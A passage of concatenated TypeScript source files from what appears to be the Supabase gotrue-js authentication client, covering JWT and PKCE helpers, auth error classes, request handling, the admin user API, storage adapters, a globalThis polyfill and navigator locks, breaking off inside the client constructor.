@typescript-eslint/no-extra-semi\n ;(this as any).resolve = res\n // eslint-disable-next-line @typescript-eslint/no-extra-semi\n ;(this as any).reject = rej\n })\n }\n}\n\n// Taken from: https://stackoverflow.com/questions/38552003/how-to-decode-jwt-token-in-javascript-without-using-a-library\nexport function decodeJWTPayload(token: string) {\n // Regex checks for base64url format\n const base64UrlRegex = /^([a-z0-9_-]{4})*($|[a-z0-9_-]{3}=?$|[a-z0-9_-]{2}(==)?$)$/i\n\n const parts = token.split('.')\n\n if (parts.length !== 3) {\n throw new Error('JWT is not valid: not a JWT structure')\n }\n\n if (!base64UrlRegex.test(parts[1])) {\n throw new Error('JWT is not valid: payload is not in base64url format')\n }\n\n const base64Url = parts[1]\n return JSON.parse(decodeBase64URL(base64Url))\n}\n\n/**\n * Creates a promise that resolves to null after some time.\n */\nexport async function sleep(time: number): Promise {\n return await new Promise((accept) => {\n setTimeout(() => accept(null), time)\n })\n}\n\n/**\n * Converts the provided async function into a retryable function. Each result\n * or thrown error is sent to the isRetryable function which should return true\n * if the function should run again.\n */\nexport function retryable(\n fn: (attempt: number) => Promise,\n isRetryable: (attempt: number, error: any | null, result?: T) => boolean\n): Promise {\n const promise = new Promise((accept, reject) => {\n // eslint-disable-next-line @typescript-eslint/no-extra-semi\n ;(async () => {\n for (let attempt = 0; attempt < Infinity; attempt++) {\n try {\n const result = await fn(attempt)\n\n if (!isRetryable(attempt, null, result)) {\n accept(result)\n return\n }\n } catch (e: any) {\n if (!isRetryable(attempt, e)) {\n reject(e)\n return\n }\n }\n }\n })()\n })\n\n return promise\n}\n\nfunction dec2hex(dec: number) {\n return ('0' + dec.toString(16)).substr(-2)\n}\n\n// Functions below taken from: https://stackoverflow.com/questions/63309409/creating-a-code-verifier-and-challenge-for-pkce-auth-on-spotify-api-in-reactjs\nexport function generatePKCEVerifier() {\n const verifierLength = 56\n const array = new Uint32Array(verifierLength)\n if (typeof crypto === 'undefined') {\n const charSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~'\n const charSetLen = charSet.length\n let verifier = ''\n for (let i = 0; i < verifierLength; i++) {\n verifier += charSet.charAt(Math.floor(Math.random() * charSetLen))\n }\n return verifier\n }\n crypto.getRandomValues(array)\n return Array.from(array, dec2hex).join('')\n}\n\nasync function sha256(randomString: string) {\n const encoder = new TextEncoder()\n const encodedData = encoder.encode(randomString)\n const hash = await crypto.subtle.digest('SHA-256', encodedData)\n const bytes = new Uint8Array(hash)\n\n return Array.from(bytes)\n .map((c) => String.fromCharCode(c))\n .join('')\n}\n\nfunction base64urlencode(str: string) {\n return btoa(str).replace(/\\+/g, '-').replace(/\\//g, '_').replace(/=+$/, '')\n}\n\nexport async function generatePKCEChallenge(verifier: string) {\n const hasCryptoSupport =\n typeof crypto !== 'undefined' &&\n typeof crypto.subtle !== 'undefined' &&\n typeof TextEncoder !== 'undefined'\n\n if (!hasCryptoSupport) {\n console.warn(\n 'WebCrypto API is not supported. Code challenge method will default to use plain instead of sha256.'\n )\n return verifier\n }\n const hashed = await sha256(verifier)\n return base64urlencode(hashed)\n}\n\nexport async function getCodeChallengeAndMethod(\n storage: SupportedStorage,\n storageKey: string,\n isPasswordRecovery = false\n) {\n const codeVerifier = generatePKCEVerifier()\n let storedCodeVerifier = codeVerifier\n if (isPasswordRecovery) {\n storedCodeVerifier += '/PASSWORD_RECOVERY'\n }\n await setItemAsync(storage, `${storageKey}-code-verifier`, storedCodeVerifier)\n const codeChallenge = await generatePKCEChallenge(codeVerifier)\n const codeChallengeMethod = codeVerifier === codeChallenge ? 'plain' : 's256'\n return [codeChallenge, codeChallengeMethod]\n}\n\n/** Parses the API version which is 2YYY-MM-DD. */\nconst API_VERSION_REGEX = /^2[0-9]{3}-(0[1-9]|1[0-2])-(0[1-9]|1[0-9]|2[0-9]|3[0-1])$/i\n\nexport function parseResponseAPIVersion(response: Response) {\n const apiVersion = response.headers.get(API_VERSION_HEADER_NAME)\n\n if (!apiVersion) {\n return null\n }\n\n if (!apiVersion.match(API_VERSION_REGEX)) {\n return null\n }\n\n try {\n const date = new Date(`${apiVersion}T00:00:00.0Z`)\n return date\n } catch (e: any) {\n return null\n }\n}\n", "import { WeakPasswordReasons } from './types'\nimport { ErrorCode } from './error-codes'\n\nexport class AuthError extends Error {\n /**\n * Error code associated with the error. Most errors coming from\n * HTTP responses will have a code, though some errors that occur\n * before a response is received will not have one present. In that\n * case {@link #status} will also be undefined.\n */\n code: ErrorCode | string | undefined\n\n /** HTTP status code that caused the error. */\n status: number | undefined\n\n protected __isAuthError = true\n\n constructor(message: string, status?: number, code?: string) {\n super(message)\n this.name = 'AuthError'\n this.status = status\n this.code = code\n }\n}\n\nexport function isAuthError(error: unknown): error is AuthError {\n return typeof error === 'object' && error !== null && '__isAuthError' in error\n}\n\nexport class AuthApiError extends AuthError {\n status: number\n\n constructor(message: string, status: number, code: string | undefined) {\n super(message, status, code)\n this.name = 'AuthApiError'\n this.status = status\n this.code = code\n }\n}\n\nexport function isAuthApiError(error: unknown): error is AuthApiError {\n return isAuthError(error) && error.name === 'AuthApiError'\n}\n\nexport class AuthUnknownError extends AuthError {\n originalError: unknown\n\n constructor(message: string, originalError: unknown) {\n super(message)\n this.name = 'AuthUnknownError'\n this.originalError = originalError\n }\n}\n\nexport class CustomAuthError extends AuthError {\n name: string\n status: number\n\n constructor(message: string, name: string, status: number, code: string | undefined) {\n super(message, status, code)\n this.name = name\n this.status = status\n }\n}\n\nexport class AuthSessionMissingError extends CustomAuthError {\n constructor() {\n super('Auth session missing!', 'AuthSessionMissingError', 400, undefined)\n }\n}\n\nexport class AuthInvalidTokenResponseError extends CustomAuthError {\n constructor() {\n super('Auth session or user missing', 'AuthInvalidTokenResponseError', 500, undefined)\n }\n}\n\nexport class AuthInvalidCredentialsError extends CustomAuthError {\n constructor(message: string) {\n super(message, 'AuthInvalidCredentialsError', 400, undefined)\n }\n}\n\nexport class AuthImplicitGrantRedirectError extends CustomAuthError {\n details: { error: string; code: string } | null = null\n constructor(message: string, details: { error: string; code: string } | null = null) {\n super(message, 'AuthImplicitGrantRedirectError', 500, undefined)\n this.details = details\n }\n\n toJSON() {\n return {\n name: this.name,\n message: this.message,\n status: this.status,\n details: this.details,\n }\n }\n}\n\nexport class AuthPKCEGrantCodeExchangeError extends CustomAuthError {\n details: { error: string; code: string } | null = null\n\n constructor(message: string, details: { error: string; code: string } | null = null) {\n super(message, 'AuthPKCEGrantCodeExchangeError', 500, undefined)\n this.details = details\n }\n\n toJSON() {\n return {\n name: this.name,\n message: this.message,\n status: this.status,\n details: this.details,\n }\n }\n}\n\nexport class AuthRetryableFetchError extends CustomAuthError {\n constructor(message: string, status: number) {\n super(message, 'AuthRetryableFetchError', status, undefined)\n }\n}\n\nexport function isAuthRetryableFetchError(error: unknown): error is AuthRetryableFetchError {\n return isAuthError(error) && error.name === 'AuthRetryableFetchError'\n}\n\n/**\n * This error is thrown on certain methods when the password used is deemed\n * weak. Inspect the reasons to identify what password strength rules are\n * inadequate.\n */\nexport class AuthWeakPasswordError extends CustomAuthError {\n /**\n * Reasons why the password is deemed weak.\n */\n reasons: WeakPasswordReasons[]\n\n constructor(message: string, status: number, reasons: string[]) {\n super(message, 'AuthWeakPasswordError', status, 'weak_password')\n\n this.reasons = reasons\n }\n}\n\nexport function isAuthWeakPasswordError(error: unknown): error is AuthWeakPasswordError {\n return isAuthError(error) && error.name === 'AuthWeakPasswordError'\n}\n", "import { API_VERSIONS, API_VERSION_HEADER_NAME } from './constants'\nimport { expiresAt, looksLikeFetchResponse, parseResponseAPIVersion } from './helpers'\nimport {\n AuthResponse,\n AuthResponsePassword,\n SSOResponse,\n GenerateLinkProperties,\n GenerateLinkResponse,\n User,\n UserResponse,\n} from './types'\nimport {\n AuthApiError,\n AuthRetryableFetchError,\n AuthWeakPasswordError,\n AuthUnknownError,\n} from './errors'\n\nexport type Fetch = typeof fetch\n\nexport interface FetchOptions {\n headers?: {\n [key: string]: string\n }\n noResolveJson?: boolean\n}\n\nexport interface FetchParameters {\n signal?: AbortSignal\n}\n\nexport type RequestMethodType = 'GET' | 'POST' | 'PUT' | 'DELETE'\n\nconst _getErrorMessage = (err: any): string =>\n err.msg || err.message || err.error_description || err.error || JSON.stringify(err)\n\nconst NETWORK_ERROR_CODES = [502, 503, 504]\n\nexport async function handleError(error: unknown) {\n if (!looksLikeFetchResponse(error)) {\n throw new AuthRetryableFetchError(_getErrorMessage(error), 0)\n }\n\n if (NETWORK_ERROR_CODES.includes(error.status)) {\n // status in 500...599 range - server had an error, request might be retryed.\n throw new AuthRetryableFetchError(_getErrorMessage(error), error.status)\n }\n\n let data: any\n try {\n data = await error.json()\n } catch (e: any) {\n throw new AuthUnknownError(_getErrorMessage(e), e)\n }\n\n let errorCode: string | undefined = undefined\n\n const responseAPIVersion = parseResponseAPIVersion(error)\n if (\n responseAPIVersion &&\n responseAPIVersion.getTime() >= API_VERSIONS['2024-01-01'].timestamp &&\n typeof data === 'object' &&\n data &&\n typeof data.code === 'string'\n ) {\n errorCode = data.code\n } else if (typeof data === 'object' && data && typeof data.error_code === 'string') {\n errorCode = data.error_code\n }\n\n if (!errorCode) {\n // Legacy support for weak password errors, when there were no error codes\n if (\n typeof data === 'object' &&\n data &&\n typeof data.weak_password === 'object' &&\n data.weak_password &&\n Array.isArray(data.weak_password.reasons) &&\n data.weak_password.reasons.length &&\n data.weak_password.reasons.reduce((a: boolean, i: any) => a && typeof i === 'string', true)\n ) {\n throw new AuthWeakPasswordError(\n _getErrorMessage(data),\n error.status,\n data.weak_password.reasons\n )\n }\n } else if (errorCode === 'weak_password') {\n throw new AuthWeakPasswordError(\n _getErrorMessage(data),\n error.status,\n data.weak_password?.reasons || []\n )\n }\n\n throw new AuthApiError(_getErrorMessage(data), error.status || 500, errorCode)\n}\n\nconst _getRequestParams = (\n method: RequestMethodType,\n options?: FetchOptions,\n parameters?: FetchParameters,\n body?: object\n) => {\n const params: { [k: string]: any } = { method, headers: options?.headers || {} }\n\n if (method === 'GET') {\n return params\n }\n\n params.headers = { 'Content-Type': 'application/json;charset=UTF-8', ...options?.headers }\n params.body = JSON.stringify(body)\n return { ...params, ...parameters }\n}\n\ninterface GotrueRequestOptions extends FetchOptions {\n jwt?: string\n redirectTo?: string\n body?: object\n query?: { [key: string]: string }\n /**\n * Function that transforms api response from gotrue into a desirable / standardised format\n */\n xform?: (data: any) => any\n}\n\nexport async function _request(\n fetcher: Fetch,\n method: RequestMethodType,\n url: string,\n options?: GotrueRequestOptions\n) {\n const headers = {\n ...options?.headers,\n }\n\n if (!headers[API_VERSION_HEADER_NAME]) {\n headers[API_VERSION_HEADER_NAME] = API_VERSIONS['2024-01-01'].name\n }\n\n if (options?.jwt) {\n headers['Authorization'] = `Bearer ${options.jwt}`\n }\n\n const qs = options?.query ?? {}\n if (options?.redirectTo) {\n qs['redirect_to'] = options.redirectTo\n }\n\n const queryString = Object.keys(qs).length ? '?' + new URLSearchParams(qs).toString() : ''\n const data = await _handleRequest(\n fetcher,\n method,\n url + queryString,\n {\n headers,\n noResolveJson: options?.noResolveJson,\n },\n {},\n options?.body\n )\n return options?.xform ? options?.xform(data) : { data: { ...data }, error: null }\n}\n\nasync function _handleRequest(\n fetcher: Fetch,\n method: RequestMethodType,\n url: string,\n options?: FetchOptions,\n parameters?: FetchParameters,\n body?: object\n): Promise {\n const requestParams = _getRequestParams(method, options, parameters, body)\n\n let result: any\n\n try {\n result = await fetcher(url, {\n ...requestParams,\n })\n } catch (e) {\n console.error(e)\n\n // fetch failed, likely due to a network or CORS error\n throw new AuthRetryableFetchError(_getErrorMessage(e), 0)\n }\n\n if (!result.ok) {\n await handleError(result)\n }\n\n if (options?.noResolveJson) {\n return result\n }\n\n try {\n return await result.json()\n } catch (e: any) {\n await handleError(e)\n }\n}\n\nexport function _sessionResponse(data: any): AuthResponse {\n let session = null\n if (hasSession(data)) {\n session = { ...data }\n\n if (!data.expires_at) {\n session.expires_at = expiresAt(data.expires_in)\n }\n }\n\n const user: User = data.user ?? (data as User)\n return { data: { session, user }, error: null }\n}\n\nexport function _sessionResponsePassword(data: any): AuthResponsePassword {\n const response = _sessionResponse(data) as AuthResponsePassword\n\n if (\n !response.error &&\n data.weak_password &&\n typeof data.weak_password === 'object' &&\n Array.isArray(data.weak_password.reasons) &&\n data.weak_password.reasons.length &&\n data.weak_password.message &&\n typeof data.weak_password.message === 'string' &&\n data.weak_password.reasons.reduce((a: boolean, i: any) => a && typeof i === 'string', true)\n ) {\n response.data.weak_password = data.weak_password\n }\n\n return response\n}\n\nexport function _userResponse(data: any): UserResponse {\n const user: User = data.user ?? (data as User)\n return { data: { user }, error: null }\n}\n\nexport function _ssoResponse(data: any): SSOResponse {\n return { data, error: null }\n}\n\nexport function _generateLinkResponse(data: any): GenerateLinkResponse {\n const { action_link, email_otp, hashed_token, redirect_to, verification_type, ...rest } = data\n\n const properties: GenerateLinkProperties = {\n action_link,\n email_otp,\n hashed_token,\n redirect_to,\n verification_type,\n }\n\n const user: User = { ...rest }\n return {\n data: {\n properties,\n user,\n },\n error: null,\n }\n}\n\nexport function _noResolveJsonResponse(data: any): Response {\n return data\n}\n\n/**\n * hasSession checks if the response object contains a valid session\n * @param data A response object\n * @returns true if a session is in the response\n */\nfunction hasSession(data: any): boolean {\n return data.access_token && data.refresh_token && data.expires_in\n}\n", "import {\n Fetch,\n _generateLinkResponse,\n _noResolveJsonResponse,\n _request,\n _userResponse,\n} from './lib/fetch'\nimport { resolveFetch } from './lib/helpers'\nimport {\n AdminUserAttributes,\n GenerateLinkParams,\n GenerateLinkResponse,\n Pagination,\n User,\n UserResponse,\n GoTrueAdminMFAApi,\n AuthMFAAdminDeleteFactorParams,\n AuthMFAAdminDeleteFactorResponse,\n AuthMFAAdminListFactorsParams,\n AuthMFAAdminListFactorsResponse,\n PageParams,\n} from './lib/types'\nimport { AuthError, isAuthError } from './lib/errors'\n\nexport default class GoTrueAdminApi {\n /** Contains all MFA administration methods. */\n mfa: GoTrueAdminMFAApi\n\n protected url: string\n protected headers: {\n [key: string]: string\n }\n protected fetch: Fetch\n\n constructor({\n url = '',\n headers = {},\n fetch,\n }: {\n url: string\n headers?: {\n [key: string]: string\n }\n fetch?: Fetch\n }) {\n this.url = url\n this.headers = headers\n this.fetch = resolveFetch(fetch)\n this.mfa = {\n listFactors: this._listFactors.bind(this),\n deleteFactor: this._deleteFactor.bind(this),\n }\n }\n\n /**\n * Removes a logged-in session.\n * @param jwt A valid, logged-in JWT.\n * @param scope The logout sope.\n */\n async signOut(\n jwt: string,\n scope: 'global' | 'local' | 'others' = 'global'\n ): Promise<{ data: null; error: AuthError | null }> {\n try {\n await _request(this.fetch, 'POST', `${this.url}/logout?scope=${scope}`, {\n headers: this.headers,\n jwt,\n noResolveJson: true,\n })\n return { data: null, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Sends an invite link to an email address.\n * @param email The email address of the user.\n * @param options Additional options to be included when inviting.\n */\n async inviteUserByEmail(\n email: string,\n options: {\n /** A custom data object to store additional metadata about the user. This maps to the `auth.users.user_metadata` column. */\n data?: object\n\n /** The URL which will be appended to the email link sent to the user's email address. Once clicked the user will end up on this URL. */\n redirectTo?: string\n } = {}\n ): Promise {\n try {\n return await _request(this.fetch, 'POST', `${this.url}/invite`, {\n body: { email, data: options.data },\n headers: this.headers,\n redirectTo: options.redirectTo,\n xform: _userResponse,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Generates email links and OTPs to be sent via a custom email provider.\n * @param email The user's email.\n * @param options.password User password. For signup only.\n * @param options.data Optional user metadata. For signup only.\n * @param options.redirectTo The redirect url which should be appended to the generated link\n */\n async generateLink(params: GenerateLinkParams): Promise {\n try {\n const { options, ...rest } = params\n const body: any = { ...rest, ...options }\n if ('newEmail' in rest) {\n // replace newEmail with new_email in request body\n body.new_email = rest?.newEmail\n delete body['newEmail']\n }\n return await _request(this.fetch, 'POST', `${this.url}/admin/generate_link`, {\n body: body,\n headers: this.headers,\n xform: _generateLinkResponse,\n redirectTo: options?.redirectTo,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return {\n data: {\n properties: null,\n user: null,\n },\n error,\n }\n }\n throw error\n }\n }\n\n // User Admin API\n /**\n * Creates a new user.\n * This function should only be called on a server. Never expose your `service_role` key in the browser.\n */\n async createUser(attributes: AdminUserAttributes): Promise {\n try {\n return await _request(this.fetch, 'POST', `${this.url}/admin/users`, {\n body: attributes,\n headers: this.headers,\n xform: _userResponse,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Get a list of users.\n *\n * This function should only be called on a server. Never expose your `service_role` key in the browser.\n * @param params An object which supports `page` and `perPage` as numbers, to alter the paginated results.\n */\n async listUsers(\n params?: PageParams\n ): Promise<\n | { data: { users: User[]; aud: string } & Pagination; error: null }\n | { data: { users: [] }; error: AuthError }\n > {\n try {\n const pagination: Pagination = { nextPage: null, lastPage: 0, total: 0 }\n const response = await _request(this.fetch, 'GET', `${this.url}/admin/users`, {\n headers: this.headers,\n noResolveJson: true,\n query: {\n page: params?.page?.toString() ?? '',\n per_page: params?.perPage?.toString() ?? '',\n },\n xform: _noResolveJsonResponse,\n })\n if (response.error) throw response.error\n\n const users = await response.json()\n const total = response.headers.get('x-total-count') ?? 0\n const links = response.headers.get('link')?.split(',') ?? []\n if (links.length > 0) {\n links.forEach((link: string) => {\n const page = parseInt(link.split(';')[0].split('=')[1].substring(0, 1))\n const rel = JSON.parse(link.split(';')[1].split('=')[1])\n pagination[`${rel}Page`] = page\n })\n\n pagination.total = parseInt(total)\n }\n return { data: { ...users, ...pagination }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { users: [] }, error }\n }\n throw error\n }\n }\n\n /**\n * Get user by id.\n *\n * @param uid The user's unique identifier\n *\n * This function should only be called on a server. Never expose your `service_role` key in the browser.\n */\n async getUserById(uid: string): Promise {\n try {\n return await _request(this.fetch, 'GET', `${this.url}/admin/users/${uid}`, {\n headers: this.headers,\n xform: _userResponse,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Updates the user data.\n *\n * @param attributes The data you want to update.\n *\n * This function should only be called on a server. Never expose your `service_role` key in the browser.\n */\n async updateUserById(uid: string, attributes: AdminUserAttributes): Promise {\n try {\n return await _request(this.fetch, 'PUT', `${this.url}/admin/users/${uid}`, {\n body: attributes,\n headers: this.headers,\n xform: _userResponse,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Delete a user. Requires a `service_role` key.\n *\n * @param id The user id you want to remove.\n * @param shouldSoftDelete If true, then the user will be soft-deleted (setting `deleted_at` to the current timestamp and disabling their account while preserving their data) from the auth schema.\n * Defaults to false for backward compatibility.\n *\n * This function should only be called on a server. Never expose your `service_role` key in the browser.\n */\n async deleteUser(id: string, shouldSoftDelete = false): Promise {\n try {\n return await _request(this.fetch, 'DELETE', `${this.url}/admin/users/${id}`, {\n headers: this.headers,\n body: {\n should_soft_delete: shouldSoftDelete,\n },\n xform: _userResponse,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n private async _listFactors(\n params: AuthMFAAdminListFactorsParams\n ): Promise {\n try {\n const { data, error } = await _request(\n this.fetch,\n 'GET',\n `${this.url}/admin/users/${params.userId}/factors`,\n {\n headers: this.headers,\n xform: (factors: any) => {\n return { data: { factors }, error: null }\n },\n }\n )\n return { data, error }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n private async _deleteFactor(\n params: AuthMFAAdminDeleteFactorParams\n ): Promise {\n try {\n const data = await _request(\n this.fetch,\n 'DELETE',\n `${this.url}/admin/users/${params.userId}/factors/${params.id}`,\n {\n headers: this.headers,\n }\n )\n\n return { data, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n}\n", "import { supportsLocalStorage } from './helpers'\nimport { SupportedStorage } from './types'\n\n/**\n * Provides safe access to the globalThis.localStorage property.\n */\nexport const localStorageAdapter: SupportedStorage = {\n getItem: (key) => {\n if (!supportsLocalStorage()) {\n return null\n }\n\n return globalThis.localStorage.getItem(key)\n },\n setItem: (key, value) => {\n if (!supportsLocalStorage()) {\n return\n }\n\n globalThis.localStorage.setItem(key, value)\n },\n removeItem: (key) => {\n if (!supportsLocalStorage()) {\n return\n }\n\n globalThis.localStorage.removeItem(key)\n },\n}\n\n/**\n * Returns a localStorage-like object that stores the key-value pairs in\n * memory.\n */\nexport function memoryLocalStorageAdapter(store: { [key: string]: string } = {}): SupportedStorage {\n return {\n getItem: (key) => {\n return store[key] || null\n },\n\n setItem: (key, value) => {\n store[key] = value\n },\n\n removeItem: (key) => {\n delete store[key]\n },\n }\n}\n", "/**\n * https://mathiasbynens.be/notes/globalthis\n */\nexport function polyfillGlobalThis() {\n if (typeof globalThis === 'object') return\n try {\n Object.defineProperty(Object.prototype, '__magic__', {\n get: function () {\n return this\n },\n configurable: true,\n })\n // @ts-expect-error 'Allow access to magic'\n __magic__.globalThis = __magic__\n // @ts-expect-error 'Allow access to magic'\n delete Object.prototype.__magic__\n } catch (e) {\n if (typeof self !== 'undefined') {\n // @ts-expect-error 'Allow access to globals'\n self.globalThis = self\n }\n }\n}\n", "import { supportsLocalStorage } from './helpers'\n\n/**\n * @experimental\n */\nexport const internals = {\n /**\n * @experimental\n */\n debug: !!(\n globalThis &&\n supportsLocalStorage() &&\n globalThis.localStorage &&\n globalThis.localStorage.getItem('supabase.gotrue-js.locks.debug') === 'true'\n ),\n}\n\n/**\n * An error thrown when a lock cannot be acquired after some amount of time.\n *\n * Use the {@link #isAcquireTimeout} property instead of checking with `instanceof`.\n */\nexport abstract class LockAcquireTimeoutError extends Error {\n public readonly isAcquireTimeout = true\n\n constructor(message: string) {\n super(message)\n }\n}\n\nexport class NavigatorLockAcquireTimeoutError extends LockAcquireTimeoutError {}\n\n/**\n * Implements a global exclusive lock using the Navigator LockManager API. It\n * is available on all browsers released after 2022-03-15 with Safari being the\n * last one to release support. If the API is not available, this function will\n * throw. Make sure you check availablility before configuring {@link\n * GoTrueClient}.\n *\n * You can turn on debugging by setting the `supabase.gotrue-js.locks.debug`\n * local storage item to `true`.\n *\n * Internals:\n *\n * Since the LockManager API does not preserve stack traces for the async\n * function passed in the `request` method, a trick is used where acquiring the\n * lock releases a previously started promise to run the operation in the `fn`\n * function. The lock waits for that promise to finish (with or without error),\n * while the function will finally wait for the result anyway.\n *\n * @param name Name of the lock to be acquired.\n * @param acquireTimeout If negative, no timeout. If 0 an error is thrown if\n * the lock can't be acquired without waiting. If positive, the lock acquire\n * will time out after so many milliseconds. An error is\n * a timeout if it has `isAcquireTimeout` set to true.\n * @param fn The operation to run once the lock is acquired.\n */\nexport async function navigatorLock(\n name: string,\n acquireTimeout: number,\n fn: () => Promise\n): Promise {\n if (internals.debug) {\n console.log('@supabase/gotrue-js: navigatorLock: acquire lock', name, acquireTimeout)\n }\n\n const abortController = new globalThis.AbortController()\n\n if (acquireTimeout > 0) {\n setTimeout(() => {\n abortController.abort()\n if (internals.debug) {\n console.log('@supabase/gotrue-js: navigatorLock acquire timed out', name)\n }\n }, acquireTimeout)\n }\n\n // MDN article: https://developer.mozilla.org/en-US/docs/Web/API/LockManager/request\n\n return await globalThis.navigator.locks.request(\n name,\n acquireTimeout === 0\n ? {\n mode: 'exclusive',\n ifAvailable: true,\n }\n : {\n mode: 'exclusive',\n signal: abortController.signal,\n },\n async (lock) => {\n if (lock) {\n if (internals.debug) {\n console.log('@supabase/gotrue-js: navigatorLock: acquired', name, lock.name)\n }\n\n try {\n return await fn()\n } finally {\n if (internals.debug) {\n console.log('@supabase/gotrue-js: navigatorLock: released', name, lock.name)\n }\n }\n } else {\n if (acquireTimeout === 0) {\n if (internals.debug) {\n console.log('@supabase/gotrue-js: navigatorLock: not immediately available', name)\n }\n\n throw new NavigatorLockAcquireTimeoutError(\n `Acquiring an exclusive Navigator LockManager lock \"${name}\" immediately failed`\n )\n } else {\n if (internals.debug) {\n try {\n const result = await globalThis.navigator.locks.query()\n\n console.log(\n '@supabase/gotrue-js: Navigator LockManager state',\n JSON.stringify(result, null, ' ')\n )\n } catch (e: any) {\n console.warn(\n '@supabase/gotrue-js: Error when querying Navigator LockManager state',\n e\n )\n }\n }\n\n // Browser is not following the Navigator LockManager spec, it\n // returned a null lock when we didn't use ifAvailable. So we can\n // pretend the lock is acquired in the name of backward compatibility\n // and user experience and just run the function.\n console.warn(\n '@supabase/gotrue-js: Navigator LockManager returned a null lock when using #request without ifAvailable set to true, it appears this browser is not following the LockManager spec https://developer.mozilla.org/en-US/docs/Web/API/LockManager/request'\n )\n\n return await fn()\n }\n }\n }\n )\n}\n", "import GoTrueAdminApi from './GoTrueAdminApi'\nimport { DEFAULT_HEADERS, EXPIRY_MARGIN, GOTRUE_URL, STORAGE_KEY } from './lib/constants'\nimport {\n AuthError,\n AuthImplicitGrantRedirectError,\n AuthPKCEGrantCodeExchangeError,\n AuthInvalidCredentialsError,\n AuthSessionMissingError,\n AuthInvalidTokenResponseError,\n AuthUnknownError,\n isAuthApiError,\n isAuthError,\n isAuthRetryableFetchError,\n} from './lib/errors'\nimport {\n Fetch,\n _request,\n _sessionResponse,\n _sessionResponsePassword,\n _userResponse,\n _ssoResponse,\n} from './lib/fetch'\nimport {\n decodeJWTPayload,\n Deferred,\n getItemAsync,\n isBrowser,\n removeItemAsync,\n resolveFetch,\n setItemAsync,\n uuid,\n retryable,\n sleep,\n supportsLocalStorage,\n parseParametersFromURL,\n getCodeChallengeAndMethod,\n} from './lib/helpers'\nimport { localStorageAdapter, memoryLocalStorageAdapter } from './lib/local-storage'\nimport { polyfillGlobalThis } from './lib/polyfills'\nimport { version } from './lib/version'\nimport { LockAcquireTimeoutError, navigatorLock } from './lib/locks'\n\nimport type {\n AuthChangeEvent,\n AuthResponse,\n AuthResponsePassword,\n AuthTokenResponse,\n AuthTokenResponsePassword,\n AuthOtpResponse,\n CallRefreshTokenResult,\n GoTrueClientOptions,\n InitializeResult,\n OAuthResponse,\n SSOResponse,\n Provider,\n Session,\n SignInWithIdTokenCredentials,\n SignInWithOAuthCredentials,\n SignInWithPasswordCredentials,\n SignInWithPasswordlessCredentials,\n SignUpWithPasswordCredentials,\n SignInWithSSO,\n SignOut,\n Subscription,\n SupportedStorage,\n User,\n UserAttributes,\n UserResponse,\n VerifyOtpParams,\n GoTrueMFAApi,\n MFAEnrollParams,\n AuthMFAEnrollResponse,\n MFAChallengeParams,\n AuthMFAChallengeResponse,\n MFAUnenrollParams,\n AuthMFAUnenrollResponse,\n MFAVerifyParams,\n AuthMFAVerifyResponse,\n AuthMFAListFactorsResponse,\n AMREntry,\n AuthMFAGetAuthenticatorAssuranceLevelResponse,\n AuthenticatorAssuranceLevels,\n Factor,\n MFAChallengeAndVerifyParams,\n ResendParams,\n AuthFlowType,\n LockFunc,\n UserIdentity,\n SignInAnonymouslyCredentials,\n} from './lib/types'\n\npolyfillGlobalThis() // Make \"globalThis\" available\n\nconst DEFAULT_OPTIONS: Omit, 'fetch' | 'storage' | 'lock'> = {\n url: GOTRUE_URL,\n storageKey: STORAGE_KEY,\n autoRefreshToken: true,\n persistSession: true,\n detectSessionInUrl: true,\n headers: DEFAULT_HEADERS,\n flowType: 'implicit',\n debug: false,\n hasCustomAuthorizationHeader: false,\n}\n\n/** Current session will be checked for refresh at this interval. */\nconst AUTO_REFRESH_TICK_DURATION = 30 * 1000\n\n/**\n * A token refresh will be attempted this many ticks before the current session expires. */\nconst AUTO_REFRESH_TICK_THRESHOLD = 3\n\nasync function lockNoOp(name: string, acquireTimeout: number, fn: () => Promise): Promise {\n return await fn()\n}\n\nexport default class GoTrueClient {\n private static nextInstanceID = 0\n\n private instanceID: number\n\n /**\n * Namespace for the GoTrue admin methods.\n * These methods should only be used in a trusted server-side environment.\n */\n admin: GoTrueAdminApi\n /**\n * Namespace for the MFA methods.\n */\n mfa: GoTrueMFAApi\n /**\n * The storage key used to identify the values saved in localStorage\n */\n protected storageKey: string\n\n protected flowType: AuthFlowType\n\n protected autoRefreshToken: boolean\n protected persistSession: boolean\n protected storage: SupportedStorage\n protected memoryStorage: { [key: string]: string } | null = null\n protected stateChangeEmitters: Map = new Map()\n protected autoRefreshTicker: ReturnType | null = null\n protected visibilityChangedCallback: (() => Promise) | null = null\n protected refreshingDeferred: Deferred | null = null\n /**\n * Keeps track of the async client initialization.\n * When null or not yet resolved the auth state is `unknown`\n * Once resolved the the auth state is known and it's save to call any further client methods.\n * Keep extra care to never reject or throw uncaught errors\n */\n protected initializePromise: Promise | null = null\n protected detectSessionInUrl = true\n protected url: string\n protected headers: {\n [key: string]: string\n }\n protected hasCustomAuthorizationHeader = false\n protected suppressGetSessionWarning = false\n protected fetch: Fetch\n protected lock: LockFunc\n protected lockAcquired = false\n protected pendingInLock: Promise[] = []\n\n /**\n * Used to broadcast state change events to other tabs listening.\n */\n protected broadcastChannel: BroadcastChannel | null = null\n\n protected logDebugMessages: boolean\n protected logger: (message: string, ...args: any[]) => void = console.log\n\n /**\n * Create a new client for use in the browser.\n */\n constructor(options: GoTrueClientOptions) {\n this.instanceID = GoTrueClient.nextInstanceID\n GoTrueClient.nextInstanceID += 